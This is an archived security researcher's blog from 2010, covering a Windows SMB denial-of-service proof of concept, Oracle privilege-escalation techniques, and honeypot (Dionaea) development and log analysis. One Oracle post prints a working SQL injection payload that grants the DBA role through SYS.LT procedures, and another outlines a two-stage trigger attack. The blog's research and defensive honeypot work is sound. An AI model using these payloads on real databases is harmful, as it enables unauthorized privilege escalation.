Monday, November 22, 2010

MS10-054 Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS

Another SMB protocol vulnerability that catch my eye these few days - MS10-054 Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS. My curiosity as the same : How it work?

This vulnerability has first discovered Laurent GaffiƩ in early 2010. He also discovered the issue in ms10-020 vulnerability previously. Summary from the advisory :

"A vulnerability in the Windows kernel can be triggered via SMB in Microsoft
Windows versions ranging from Windows 2000 through to Windows 7. This vulnerability allows an attacker to trigger a kernel pool corruption by sending a specially crafted SMB_COM_TRANSACTION2 request.Successful exploitation of this issue may result in remote code execution with kernel privileges, while failed attempts will result in a Denial of Service condition. Microsoft haspublished a patch to resolve the issue"

What is SMB_COM_TRANSACTION2 ?
From [MS-CIFS].pdf, SMB_COM_TRANSACTION2 subcommands provide support for a richer set of server-side file system semantics. The "Trans2 subcommands", as they are called, allow clients to set and retrieve Extended Attribute key/value pairs, make use of long file names (longer than the original 8.3 format names), and perform directory searches, among other tasks.

The subcommand can be find in http://manubatbat.free.fr/doc/smb/6.2.htm

The original SMB_COM_TRANSACTION2 request is in this format :

SMB_Parameters
{
UCHAR WordCount;
Words
{
USHORT TotalParameterCount;
USHORT TotalDataCount;
USHORT MaxParameterCount;
USHORT MaxDataCount;
UCHAR MaxSetupCount;
UCHAR Reserved1;
USHORT Flags;
ULONG Timeout;
USHORT Reserved2;
USHORT ParameterCount;
USHORT ParameterOffset;
USHORT DataCount;
USHORT DataOffset;
UCHAR SetupCount;
UCHAR Reserved3;
USHORT Setup[SetupCount];
}
}
SMB_Data
{
USHORT ByteCount;
Bytes
{
SMB_STRING Name;
UCHAR Pad1[];
UCHAR Trans2_Parameters[ParameterCount];
UCHAR Pad2[];
UCHAR Trans2_Data[DataCount];
}
}

How MS10-054 works?
The culprit is the MaxDataCount field! It indicates the maximum number of data bytes that the client will accept in the transaction reply. Windows will allocate a pool chunk with the MaxDataCount size without any sanity check. By allocating ZERO size of pool chunk, it could be a trouble if freeing the memory chunk.

PoC can be found in the full disclosure adviosry http://seclists.org/fulldisclosure/2010/Aug/122 . I have try to test the PoC and it work with the target machine is in "WORKGROUP" domain and has a user namey "Y0" (0 is the zero).

C:\Python26>python.exe test.py 192.168.56.101 C
[+]Negotiate Protocol Request sent
[+]Session Query sent

C:\Python26>python.exe test.py 192.168.56.101 C
[+]Negotiate Protocol Request sent
[+]Session Query sent
[+]Malformed Trans2 packet sent
[+]The target should be down now

C:\Python26>

And the WinXP VM freezee...

For the PoC packet, we can clearly see the culprint "MaxDataCount = 0".

After all, the working exploit has included in metasploit modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb

Wednesday, November 17, 2010

VirtualBox and Vmware network setup

Just figure out this.

1. Connect Virtual Box images and VMware Player Images.

Settings
Virtual Box - VirtualBox Host-Only Ethernet Adapter
Vmware's setting in vmnetcfg.exe : Bridged to VirtualBox Host-Only Ethernet Adapter
Vmware image : Network connection: Bridged

It works! All images can ping each other well. The IP that assigned for the VM images
- Host Machine : 192.168.56.1
- VirtualBox Ubuntu 9.04 image : 192.168.56.101
- VirtualBox Ubuntn 9.10 image : 192.168.56.102
- VMWare Backtrack image : 192.168.56.103

The traffic between images can be captured with wireshark that set to the VirtualBox Host-Only adapter. Another drawback that is the internet connection not work for all images, although the Host Machine able to acccess internet well.

Lets' improve

2. Create internal network for 2 VirtualBox images + internet

Setttings
Virtual Box Ubuntu 9.04 image
- Enable 2 Network Adapters
- Setting for Adapter 1 : NAT
- Setting for Adapter 2 :
 Attached to "Internal Network", Name:"intnet"
IP setting: 192.168.4.1
Subnet mask : 255.255.255.0
Gateway : 10.0.3.2 ( which same as the NAT gateway)

Virtual Box Ubuntu 9.10 image
- Enable 2 Network Adapters
- Setting for Adapter 1 : NAT
- Setting for Adapter 2 :
 Attached to "Internal Network", Name:"intnet"
IP setting : 192.168.4.2
Subnet mask : 255.255.255.0
Gateway : 10.0.3.2 ( which same as the NAT gateway)

Both images can access internet and ping each others, and most importantly it is the internal network. The network packets cannot captured with wireshark listening on Host Machine, unless the wireshark is listening inside VM images.

Reference
https://opensourceexperiments.wordpress.com/2008/04/13/case-study-configuring-internal-networking-work-for-talking-two-linux-guest-os-ubuntu-on-windows-vista-host/

Monday, November 15, 2010

Simple steps to improve Dionaea SMB stack

SMB protocol is one of the core protocol that supported by Dionaea. The attacks on Port 445 will be received and logged in the sqlite database. Dioanea emulates SMB protocol and the related functions in SMB stack have written in Python. If you are running Dionaea and you found the unsupported RPC calls, you are most welcomed to improve Dionaea's SMB stack.

This is my work out. The process:
1. Dig out the unsupported function, in this case is the unsupported RPC call
2. Refer to MSDN Library for further detail about the function call
3. Find the application/test suite that can trigger the function well. Observe the original request and reply of the function, by using a clean Windows Image
4. Code it out!
5. Test, debug, test, debug, BINGO!!
6. Commit to the tree

Example:
1. Recently I found that this lines always appear in /opt/dionaea/var/log/dionaea.log, and I realised this unsupported RPC SRVSVC call with Opnum 21 hit my sensor frequently.
[13112010 09:02:07] rpcservices dionaea/smb/rpcservices.py:104-info: 
Unknown RPC Call to SRVSVC 21
.....
[13112010 12:21:37] rpcservices dionaea/smb/rpcservices.py:104-info:
Unknown RPC Call to SRVSVC 21
.....
[13112010 13:38:34] rpcservices dionaea/smb/rpcservices.py:104-info:
Unknown RPC Call to SRVSVC 21
.....

With the query to database /opt/dionaea/var/dionaea/logsql.sqlite, 68 hits of such unsupported RPC call attacked the sensor that running not more than 72 hours.
Here the database query result:
COUNT(*) | dcerpcrequest_uuid | dcerpcrequest_opnum | dcerpcservice_name 
68 4b324fc8-1670-01d3-1278-5a47bf6ee188 21 SRVSVC
1 12345778-1234-abcd-ef00-0123456789ac 34 samr

2. Refer to MSDN Library http://msdn.microsoft.com/en-us/library/cc247243%28v=PROT.13%29.aspx, it is the NetServerGetInfo method which used to retrieve current configuration information for the targeted server. The method structure quite simple:

NET_API_STATUS NetrServerGetInfo(
[in, string, unique] SRVSVC_HANDLE ServerName,
[in] DWORD Level,
[out, switch_is(Level)] LPSERVER_INFO InfoStruct
);

3. With some googling time, I managed to find the way that I can observe the original request and response of such NetServerGetInfo method. Here the simple Win32 program that can be used to test the NetServerGetInfo method. It worked well with a clean WindowsXP image as target and packet detail can be studied with Wireshark.
http://www.installsetupconfig.com/win32programming/networkmanagementapis16_49.html

Note: To make this simple program work, the targeted WindowsXP need Guest account to be enabled. This spend me quite some time to figure it out as the System error 17XX keep appeared.

4. It is the time to code the method and let Dionaea support it! The RPC methods has resided in http://src.carnivore.it/dionaea/tree/modules/python/scripts/smb/rpcservices.py and it seperated clearly in classes such as ATSVC, DCOM, IOXIDResolver,lsarpc and others. Find the SRVSVC class and define the NetServerGetInfo handler.

5. Test the code with the Win32 program that compiled previously. Observed the packet in Wireshark. Test, debug, test, debug.. and it worked well as similiar with the Windows image. Further code test can be done by put it into the real network. The code works!

Observation with readlogsqltree.py

2010-11-14 10:30:16
connection 21150 pcap tcp reject 192.168.1.50:139 <- 118.X.180.91:47775
2010-11-14 10:30:16
connection 21151 smbd tcp accept 192.168.1.50:445 <- 118.X.180.91:47774
dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188'
(SRVSVC) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188'
(SRVSVC) opnum 15 (NetShareEnum ())
dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188'
(SRVSVC) opnum 21 (NetServerGetInfo ())

Waiting next coming attack :)

6. Commit to the tree. Example : http://src.carnivore.it/dionaea/commit/?id=974002a510a13f4565d58b458da665bd4e165e7c

7. After the commit, the added handler need to observe from time to time. Sometime the real world attack will be different from what what have coded. It need minor changes in certain packet field to make it work.

This is one of the ways to improve SMB stack. Simple and exciting. Feel free to write yours. If you need the git tree access, feel free to contact Markus nepenthesdev@gmail.com


Cheers,

Sunday, October 31, 2010

Oracle Indirect Privilege Escalation Attack

When come across this issues, the interesting part that catch my attention is the Indirect process. To me, i love the creativitiy! Let dive in with some basic understanding about Oracle.

What is Trigger in Oracle and how it works?
A trigger is a named PL/SQL unit that is stored in the database and executed (fired) in response to a specified event that occurs in the database.

It can be fired at exactly one of the following timing points:
--Before the triggering statement executes
--After the triggering statement executes
--Before each row that the triggering statement affects
--After each row that the triggering statement affects

The interesting trigger is the type with 'Before the triggering statement executes'. The Trigger will be executed even the triggering statemet failed. For example, a trigger has setup to be fired when 'drop table' command has executed. If restricted user try to launch the 'drop table' command and he will end up with insufficient privilege or acces denied. But the Trigger will be fired since it a "before" trigger. Such a unique feature has creatively exploited, and the exploitation turned into Indirect privilege escalation or so called 2-stages attack.

How Oracle Indirect privilege escalation works?
Let start to look at how 2-stages attack works. The real example happened in the case CVE-2009-0981 Oracle 10g MDSYS.SDO_TOPO_DROP_FTBL SQL Injection vulnerability.

Finding the culprit

1. Indentify who is the DBA, and the table owned by the him which granted the PUBLIC permission to insert into. Eg, SYSTEM.OL$ table, SYSTEM.DEF$_TEMP$LOB
2. Identify the user who posses the "CREATE ANY TRIGGER" privilege, for example MDSYS, this means MDSYS allows to create a trigger in any schema, expect to the objects that belongs to SYS.
3. Find any vulnerable trigger under the user, so we can inject code into it, for example MDSYS.SDO_TOPO_DROP_FTBL trigger which fired with "DROP TABLE" command. The trigger is vulnerable to code injection

1st stage

4. Inject crafted code into the vulnerable trigger, and execute it. For example, "DROP TABLE and 1=(scot.z)"

2nd stage
5. The crafted code (scot.z) will create our Trigger under SYSTEM schema, for example, our Trigger is the "before" trigger for the INSERT INTO TABLE statement. The trigger has crafted to execute with "AUTHID CURRENT_USER", that means it follows the table's owner role, which is DBA
6. Execute the command that need to fire the Trigger, for example "insert into system.DEF$_TEMP$LOB..."
7. Our trigger fired and the DBA role obtained!

Attention
Again, this attack not working with Oracle XE, as the difference between standard edition and XE.

Reference
It is good to study the msf code and clear several doubts in my head about the working mechanism
http://www.metasploit.com/modules/auxiliary/sqli/oracle/droptable_trigger
http://www.red-database-security.com/exploits/oracle_mdsys_sdo_topo_drop_ftbl.html

Saturday, October 30, 2010

Oracle XE Express Edition

Recently I have to deal with Oracle XE Express Edition, and it is the right time to take some note down after doing tons of reading about the topic, especially the long study to get the difference between Oracle and Oracle XE.

Introduction
How to check the version number of an Oracle database?
(a) Use OUI (Oracle Universal Installer)
(b) select * from v$version;

What Is the Relation of a User Account and a Schema?
User accounts and schemas have a one-to-one relation. When you create a user, you are also implicitly creating a schema for that user. A schema is a logical container for the database objects (such as tables, views, triggers, and so on) that the user creates. The schema name is the same as the user name, and can be used to unambiguously refer to objects owned by the user.

Exploitation
1. CVE-2009-0981 Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection Vulnerability
After the installation of fresh Oracle XE, I tried to play with CVE-2009-0981 Oracle 10g SYS.LT.COMPRESSWORKSPACETREE SQL Injection vulnerability. The exploit code from http://www.red-database-security.com/exploits/oracle_sys_lt_compressworkspacetree2.html.

The issue is about the COMPRESSWORKSPACETREE procedure sanitation issues and we can inject code into the proceduce and privilege escalation will success. The procedure has owned by SYS or WMSYS

The returned result always fail for me after several tries.
C:\Users>sqlplus

SQL*Plus: Release 10.2.0.1.0 - Production on Sat Oct 30 23:57:21 2010

Copyright (c) 1982, 2005, Oracle. All rights reserved.

Enter user-name: user1
Enter password:

Connected to:
Oracle Database 10g Express Edition Release 10.2.0.1.0 - Production

SQL> DECLARE
2 D NUMBER;
3 BEGIN
4 D := DBMS_SQL.OPEN_CURSOR;
5 DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to scott'';commit;end;',0);
6 SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
7 SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
8 end;
9 /
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
*
ERROR at line 6:
ORA-06550: line 6, column 1:
PLS-00201: identifier 'SYS.LT' must be declared
ORA-06550: line 6, column 1:
PL/SQL: Statement ignored
ORA-06550: line 7, column 1:
PLS-00201: identifier 'SYS.LT' must be declared
ORA-06550: line 7, column 1:
PL/SQL: Statement ignored

After several google time, I only realise there are big difference between Oracle Standard Edition and XE from http://www.dba-oracle.com/t_xe_features_oracle_express.htm. For the case, COMPRESSWORKSPACETREE procedure belongs to LT packages under Oracle Workspace Manager. Unfortunately Oracle Workspace Manager not exists in Oracle XE! This is the reason why the exploit has failed and the vulnerability not even exist in Oracle XE.

Clear. Let move on!

2. SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle 9i / 10g
The vulnerability has found in Year 2006 and I gues it cant be find in wild now. But good news is the Oracle never have any Critical Patch Unit (CPU) for Oracle XE. So, this vulnerability exists and the exploit worked well!

Further details about this issues please refer to http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html

My favor

To summarise the oracle exploitation methodology, this is my favor and one of the most comprehensive cheat sheet
http://www.red-database-security.com/wp/oracle_cheat.pdf
http://www.red-database-security.com/wp/hacking_and_hardening_oracle_XE.pdf

Sunday, October 24, 2010

Memory leakage with Valgrind

" Valgrind - a suite of tools for debugging and profiling, currently includes six production-quality tools: a memory error detector, two thread error detectors, a cache and branch-prediction profiler, a call-graph generating cache and branch-prediction profiler, and a heap profiler. It also includes three experimental tools: a heap/stack/global array overrun detector, a second heap profiler that examines how heap blocks are used, and a SimPoint basic block vector generator", quote from Valgrind official website.

For the try out, I get this sample code from http://cs.ecs.baylor.edu/~donahoo/tools/valgrind/
int main()
{
char *p;
char *q;

// Allocation #1 of 19 bytes
q = (char *) malloc(19);

// Allocation #2 of 12 bytes
p = (char *) malloc(12);
free(p);

// Allocation #3 of 16 bytes
p = (char *) malloc(16);

return 0;
}

Simply run the code with terminal
gento@local:~/debug/test$ valgrind -v --leak-check=full 
--show-reachable=yes --log-file=debug.log ./test

The output as here:
gento@local:~/debug/test$ cat debug.log 
==7505== Memcheck, a memory error detector
==7505== Copyright (C) 2002-2009, and GNU GPL'd, by Julian Seward et al.
==7505== Using Valgrind-3.5.0-Debian and LibVEX; rerun with -h for copyright info
==7505== Command: ./test
==7505== Parent PID: 2001
==7505==
--7505--
--7505-- Valgrind options:
--7505-- --suppressions=/usr/lib/valgrind/debian-libc6-dbg.supp
--7505-- -v
--7505-- --leak-check=full
--7505-- --show-reachable=yes
--7505-- --log-file=debug.log
--7505-- Contents of /proc/version:
--7505-- Linux version 2.6.31-14-generic (buildd@rothera) (gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8) ) #48-Ubuntu SMP Fri Oct 16 14:04:26 UTC 2009
--7505-- Arch and hwcaps: X86, x86-sse1-sse2
--7505-- Page sizes: currently 4096, max supported 4096
--7505-- Valgrind library directory: /usr/lib/valgrind
--7505-- Reading syms from /lib/ld-2.10.1.so (0x4000000)
--7505-- Reading debug info from /lib/ld-2.10.1.so ..
--7505-- .. CRC mismatch (computed 5ea3f4db wanted 846118b5)
--7505-- Reading debug info from /usr/lib/debug/lib/ld-2.10.1.so ..
--7505-- Reading syms from /home/gento/debug/test/test (0x8048000)
--7505-- Reading syms from /usr/lib/valgrind/memcheck-x86-linux (0x38000000)
--7505-- object doesn't have a dynamic symbol table
--7505-- Reading suppressions file: /usr/lib/valgrind/debian-libc6-dbg.supp
--7505-- Reading suppressions file: /usr/lib/valgrind/default.supp
--7505-- REDIR: 0x4015e40 (index) redirected to 0x3803e013 (vgPlain_x86_linux_REDIR_FOR_index)
--7505-- Reading syms from /usr/lib/valgrind/vgpreload_core-x86-linux.so (0x401f000)
--7505-- Reading syms from /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so (0x4022000)
==7505== WARNING: new redirection conflicts with existing -- ignoring it
--7505-- new: 0x04015e40 (index ) R-> 0x040258c0 index
--7505-- REDIR: 0x4015ff0 (strlen) redirected to 0x4025bb0 (strlen)
--7505-- Reading syms from /lib/tls/i686/cmov/libc-2.10.1.so (0x4039000)
--7505-- Reading debug info from /lib/tls/i686/cmov/libc-2.10.1.so ..
--7505-- .. CRC mismatch (computed 17250532 wanted 2207db29)
--7505-- Reading debug info from /usr/lib/debug/lib/tls/i686/cmov/libc-2.10.1.so ..
--7505-- REDIR: 0x40ac3f0 (rindex) redirected to 0x40257d0 (rindex)
--7505-- REDIR: 0x40a8920 (malloc) redirected to 0x4024b97 (malloc)
--7505-- REDIR: 0x40a8840 (free) redirected to 0x40247b1 (free)
==7505==
==7505== HEAP SUMMARY:
==7505== in use at exit: 35 bytes in 2 blocks
==7505== total heap usage: 3 allocs, 1 frees, 47 bytes allocated
==7505==
==7505== Searching for pointers to 2 not-freed blocks
==7505== Checked 52,324 bytes
==7505==
==7505== 16 bytes in 1 blocks are definitely lost in loss record 1 of 2
==7505== at 0x4024C1C: malloc (vg_replace_malloc.c:195)
==7505== by 0x8048454: main (test.c:16)
==7505==
==7505== 19 bytes in 1 blocks are definitely lost in loss record 2 of 2
==7505== at 0x4024C1C: malloc (vg_replace_malloc.c:195)
==7505== by 0x8048428: main (test.c:9)
==7505==
==7505== LEAK SUMMARY:
==7505== definitely lost: 35 bytes in 2 blocks
==7505== indirectly lost: 0 bytes in 0 blocks
==7505== possibly lost: 0 bytes in 0 blocks
==7505== still reachable: 0 bytes in 0 blocks
==7505== suppressed: 0 bytes in 0 blocks
==7505==
==7505== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 13 from 8)
--7505--
--7505-- used_suppression: 13 dl-hack3-cond-1
==7505==
==7505== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 13 from 8)


From the report, 2 blocks have found memory leakage issues with the "definitely lost" error message. This is due to the malloc() function that allocate 19bytes and 16 bytes memory heap area, but never free it after the execution. It happened at Allocation #1 and Allocation #2.

According to Valgrind user manual, common error message that may give us an insight about what is happening:
- "definitely lost": the application is leaking memory -- fix it!
- "probably lost": the application is leaking memory, unless you're doing funny things with pointers (such as moving them to point to the middle of a heap block).
- "indirectly lost": This means that the block is lost, not because there are no pointers to it, but rather because all the blocks that point to it are themselves lost. For example, if you have a binary tree and the root node is lost, all its children nodes will be indirectly lost. Because the problem will disappear if the definitely lost block that caused the indirect leak is fixed.Memcheck won't report such blocks individually unless --show-reachable=yes is specified.
- "still reachable": A start-pointer or chain of start-pointers to the block is found. Since the block is still pointed at, the programmer could, at least in principle, have freed it before program exit. Because these are very common and arguably not a problem. Memcheck won't report such blocks individually unless --show-reachable=yes is specified.

Effect of memory leakage
- Memory consumption keep increasing
- Denial of Service
- Very dangerous for kernel memory level as kernel memory is very limited compared to user memory.lead to serious instability

Tuesday, September 21, 2010

Dionaea sql logging for dce rpc calls

As the need to keep observe and get notify about the recent attacks to Dionaea's SMB stack, I spent some time to figure out few SQL queries that made the works easier, especially to view the statistic of supported and unsupported DCE RPC calls,

1. (From Dionaea site) Interested which dcerpc calls get attacked most?
SELECT
COUNT(*),
dcerpcrequest_uuid,
dcerpcrequest_opnum
FROM
dcerpcrequests
GROUP BY
dcerpcrequest_uuid,
dcerpcrequest_opnum
ORDER BY
COUNT(*)
DESC;

Result:
"COUNT(*)", "dcerpcrequest_uuid", "dcerpcrequest_opnum"
"17231", "99fcfec4-5260-101b-bbcb-00aa0021347a", "5"
"7853", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "31"
"1828", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "15"
"1475", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "32"
"962", "1ff70682-0a51-30e8-076d-740be8cee98b", "0"
"362", "000001a0-0000-0000-c000-000000000046", "4"
"350", "afa8bd80-7d8a-11c9-bef4-08002b102989", "0"
....
The returned result cant really provide much info to me, eg what is the UUID and opnum stand for. Lets move on.

2. To know which dce rpc attacks the most, with UUID and Opnum details?

SELECT 
COUNT(*),
dcerpcrequest_uuid,
dcerpcrequest_opnum,
parent.dcerpcservice_name,
ops.dcerpcserviceop_name
FROM
dcerpcrequests
JOIN dcerpcservices AS parent
JOIN dcerpcserviceops AS ops
ON (dcerpcrequests.dcerpcrequest_uuid == parent.dcerpcservice_uuid )
AND ((parent.dcerpcservice == ops.dcerpcservice)
AND (dcerpcrequests.dcerpcrequest_opnum == ops.dcerpcserviceop_opnum))
GROUP BY
dcerpcrequest_uuid,
dcerpcrequest_opnum
ORDER BY
COUNT(*)
DESC;

Result:
"COUNT(*)", "dcerpcrequest_uuid", "dcerpcrequest_opnum", "dcerpcservice_name", "dcerpcserviceop_name"
"17231", "99fcfec4-5260-101b-bbcb-00aa0021347a", "5", "IOXIDResolver", "ServerAlive2"
"7853", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "31", "SRVSVC", "NetPathCanonicalize"
"1828", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "15", "SRVSVC", "NetShareEnum"
"1475", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "32", "SRVSVC", "NetPathCompare"
"362", "000001a0-0000-0000-c000-000000000046", "4", "ISystemActivator", "RemoteCreateInstance"
"350", "afa8bd80-7d8a-11c9-bef4-08002b102989", "0", "MGMT", "inq_if_ids"
....
It works but it only shows those supported DCE RPC calls. If compared the result in 1 and 2, we found out there is 1 unsupported rpc call, which receive 962 times of attack.
"962", "1ff70682-0a51-30e8-076d-740be8cee98b", "0"

Which RPC services related with this unsupported call?

3. To find out which DCE RPC calls that unsupported with Dionaea?

SELECT 
COUNT(*),
dcerpcrequest_uuid,
dcerpcrequest_opnum,
parent.dcerpcservice_name,
ops.dcerpcserviceop_name
FROM
dcerpcrequests
JOIN dcerpcservices AS parent
LEFT OUTER JOIN dcerpcserviceops AS ops
ON (dcerpcrequests.dcerpcrequest_uuid == parent.dcerpcservice_uuid )
AND (parent.dcerpcservice == ops.dcerpcservice)
AND (dcerpcrequests.dcerpcrequest_opnum == ops.dcerpcserviceop_opnum)
WHERE
dcerpcserviceop_name IS NULL
GROUP BY
dcerpcrequest_uuid,
dcerpcrequest_opnum
ORDER BY
COUNT(*)
DESC;

Result:
"COUNT(*)", "dcerpcrequest_uuid", "dcerpcrequest_opnum", "dcerpcservice_name", "dcerpcserviceop_name"
"962", "1ff70682-0a51-30e8-076d-740be8cee98b", "0", "ATSVC", ""
"3", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "35", "SRVSVC", ""
"2", "3919286a-b10c-11d0-9ba8-00c04fd92ef5", "31", "DSSETUP", ""
"1", "12345778-1234-abcd-ef00-0123456789ac", "34", "samr", ""
"1", "4b324fc8-1670-01d3-1278-5a47bf6ee188", "21", "SRVSVC", ""
There are 5 calls not supported for the moment, with the obvious 962 attacks to ATSVC RPC services, Opnum 0.

According to MDSN http://msdn.microsoft.com/en-us/library/cc248423%28v=PROT.13%29.aspx, it is the NetrJobAdd (Opnum 0) call.

I got the answer :)

Reference:
Markus has sent me his query that it will return the exact result as the third query.
SELECT
COUNT(*),
dcerpcrequests.dcerpcrequest_uuid,
dcerpcservice_name,
dcerpcrequest_opnum
FROM
dcerpcrequests
JOIN dcerpcservices
ON(dcerpcrequests.dcerpcrequest_uuid ==
dcerpcservices.dcerpcservice_uuid)
LEFT OUTER JOIN dcerpcserviceops
ON(dcerpcserviceops.dcerpcserviceop_opnum = dcerpcrequest_opnum
AND dcerpcservices.dcerpcservice = dcerpcserviceops.dcerpcservice )
WHERE
dcerpcserviceop_name IS NULL
GROUP BY
dcerpcrequests.dcerpcrequest_uuid,
dcerpcservice_name,
dcerpcrequest_opnum
ORDER BY
COUNT(*)
DESC


Mistake:
Why the 2nd sql query can only returned the supported rpc calls,but it cant show the unsupported call?

Reason:
I messed up with the sql query JOIN, INNER JOIN, RIGHT OUTER JOIN and LEFT OUTER JOIN.
- JOIN/INNER JOIN will not include the NULL data in the row
- LEFT OUTER JOIN/RIGHT OUT JOIN will include the NULL data in each row
- LEFT OUTER JOIN : selects all the rows from the first table listed after the FROM clause, no matter if they have matches in the second table.
- RIGHT OUT JOIN : Opposite to LEFT OUTER JOIN, returns all rows from the second table

http://www.sql-tutorial.net/SQL-JOIN.asp

Clear!

Thursday, September 9, 2010

Write-up for Google Summer of Code 2010

.....continued

Another writeup for the Dionaea project as the Google Summer of Code 2010 has officialy completed on 16 August 2010

Week 9 (19-24 July)
- Tried to add dionaea suppport for windows task scheduler command utility "AT"
- Spend whole week to figure out how it works, as AT not able further process SMB_Tree_Connect_AndX response from Dionaea
- Tried every possible solution (eg, modify fields by fields, immidate exactly same field as the legitimate AT to windows xp connection)
- The culprit found! AT utility, such a oldies from Windows 2000 needs the NETBIOS support in port 139, and Dionaea only work with SMB for port 445. Voila!
- Better give up the idea to add support for AT. Move on!

Good stuff during the analysis, I found a Wireshark bug as it not able to dissect SMB Tree_Connect_Andx request and response properly if 'Extended Response' flag (0x0008) has set in the request. A simple patch has commited http://www.mail-archive.com/wireshark-bugs@wireshark.org/msg23038.html

Week 10 (26-1 August)
- fix SMB Share name to be look alike as default windows OS, such as ADMIN$,C$,IPC$
- add support for nmap -sC scanning
- fix SMB_Negociate_Protocol_Response() to return unicode-based DomainName and ServerName

Interesting point during the fix of unicode-based DomainName and ServerName field, Markus and I discussed the issues as nmap and wireshark both show different dissection for this 2 field. At the beginning, we suspect it may due to nmap or wireshark mess up with these 2 unicode and non-unicode based. Some reading works went on..

At the end, we only realised both of us reading the different version of [MS-SMB].pdf. This is the reason that confused us about the field either unicode or non-unicide.

Big Lesson for the week : alway and alway make sure, triple checked the documentation version, grad the latest version!

Week 11 (2-8 August)

- Documentation on the work : Dionaea-NMAP NSE support, Metasploit fingerprinting supprt
- add 'Windows XP SP3' support, so Dionaea can declared itself as Windows XP SP 0/1, 2 or 3 according to the user preference.

Weeek 12 (9-16 August)

- Finish another documentation : Dionaea-NTLM Authentication
- Final week for Summer of Code, it is great to be with Dionaea!

Thing that I love the most during GSoC
It is good to squeeze the head to code and contribute to the project. And after all, I only realise these little contribution from my dorm room is worth as Dionaea has widely used and implemented by security researchers globally.

It is great to have the project guided by Markus Koetter as mentor. At the beginning of the project, we had done some expectation setting (eg, types of repository, communication medium and period, etc). The cool expectation setting cleared the doubt and I able to work on track instantly. The constant and prompt, I would say almost instant responses from him all the time has cherished my journey. He even wrote me some beautiful and quality code sample for the reference purpose. Thank you Markus for the guidance and inspiration!

Toughest moment during GSoC
Ermm.. AT issues during week 9. It take me days and nights for the whole week to figure out the source of error. Lots of frustration, anticipation, excitement and disappointment again during the week. The moment when the culprit showing up, all hard works were worth ever!! Tough learning experience..


Best summer with Dionaea, The Honeynet Project.

More works to go...

Tuesday, August 17, 2010

Error: Dionaea thread problem?

Yesterday, when I checked my dionaea's fruit, I found that the sensor stop function again. It is the second time as the problem happened previously as I blogged. Again, let's read the dionaea.log and I found the overall flow as below:

1. [16082010 21:03:08] logsql dionaea/logsql.py:410-info: accepted connection from 118.100.XXX.XX:61456 to 192.168.1.99:445 (id=186021)

2. ... NTLMSSP Authentication with GSSAPI...

3. [16082010 21:03:11] rpcservices dionaea/smb/rpcservices.py:64-info: Calling SRVSVC NetPathCanonicalize (1f) maybe MS08-67 exploit?
[16082010 21:03:11] rpcservices dionaea/smb/rpcservices.py:73-warning: DCERPCValueError path is too long (b"\\\x00FUnMLEvdNzjntXznAvcOSD......")

4. ... NTLMSSP Authentication without GSSAPI...
SMB_COM_TREE_CONNECT_ANDX
SMB NTcreate AndX Request

5. [16082010 21:03:28] rpcservices dionaea/smb/rpcservices.py:66-info: Calling SVCCTL OpenSCManagerA (1b)
[16082010 21:03:29] rpcservices dionaea/smb/rpcservices.py:66-info: Calling SVCCTL CreateServiceA (18)
-PSEXESVC
-%SystemRoot%\\System32\\PSEXESVC.EXE\
[16082010 21:03:29] rpcservices dionaea/smb/rpcservices.py:66-info: Calling SVCCTL CloseServiceHandle (0)

6. SMB Close

7. SMB Sessionsetup ESEC AndX ( For NTLMSSP without GSSAPI)

8. SMB_COM_TREE_CONEECT_ANDX
-\\118.100.XX.XX\IPC$
-\\118.100.XX.XX\ADMIN$

9. SMB Treeconnect AndX Response Extended (First time i saw this layer has used!)

[16082010 21:03:35] incident incident.c:185-debug: incident 0xa6aedc8 dionaea.download.offer
[16082010 21:03:35] incident incident.c:203-debug: con: (ptr) 0xa3bab20
[16082010 21:03:35] incident incident.c:203-debug: url: (string) smb://124.47.XX.163/system32\dumpsys.exe

[16082010 21:03:47] incident incident.c:210-debug: reporting 0xa1c0940
[16082010 21:03:47] incident incident.c:185-debug: incident 0xa1c0940 dionaea.download.offer
[16082010 21:03:47] incident incident.c:203-debug: con: (ptr) 0xa3bab20
[16082010 21:03:47] incident incident.c:203-debug: url: (string) smb://124.47.XX.163/System32\PSEXESVC.EXE

10.
[16082010 21:04:22] logsql dionaea/logsql.py:410-info: accepted connection from 124.47.XX.163:4715 to 192.168.1.99:445 (id=186026)

11. The error happen and the sensor stop.
[16082010 21:04:25] thread threads.c:90-critical: Threadpool is crowded 3/2, suspending *all* activity
[16082010 21:04:25] thread threads.c:90-critical: Threadpool is crowded 3/2, suspending *all* activity

12. The captures as recorded in var/dionaea/binaries
-rw------- 1 root root 60K 2010-08-16 21:03 8b48f59fb263b1b3ed5f9f2a8cd8fd26
-rw------- 1 root root 92K 2010-08-16 21:02 4a6e5980ad7d1a4bbe71ec46fa96755e

To do:
Keep observe the problem. If the problem happen again, it is time to dig the flaw. Thread problem due to OS issues? any dependencies issues? RPC call inproper reply such as SVCCTL CreateServiceA?

Thursday, August 5, 2010

Metasploit OS fingerprinting based on SMB

This is the way Metasploit perfoming OS fingerprinting based on SMB Protocol, interesting.

To simplify the explanation in determine the OS version and language, I put all in a flow chart.

Monday, August 2, 2010

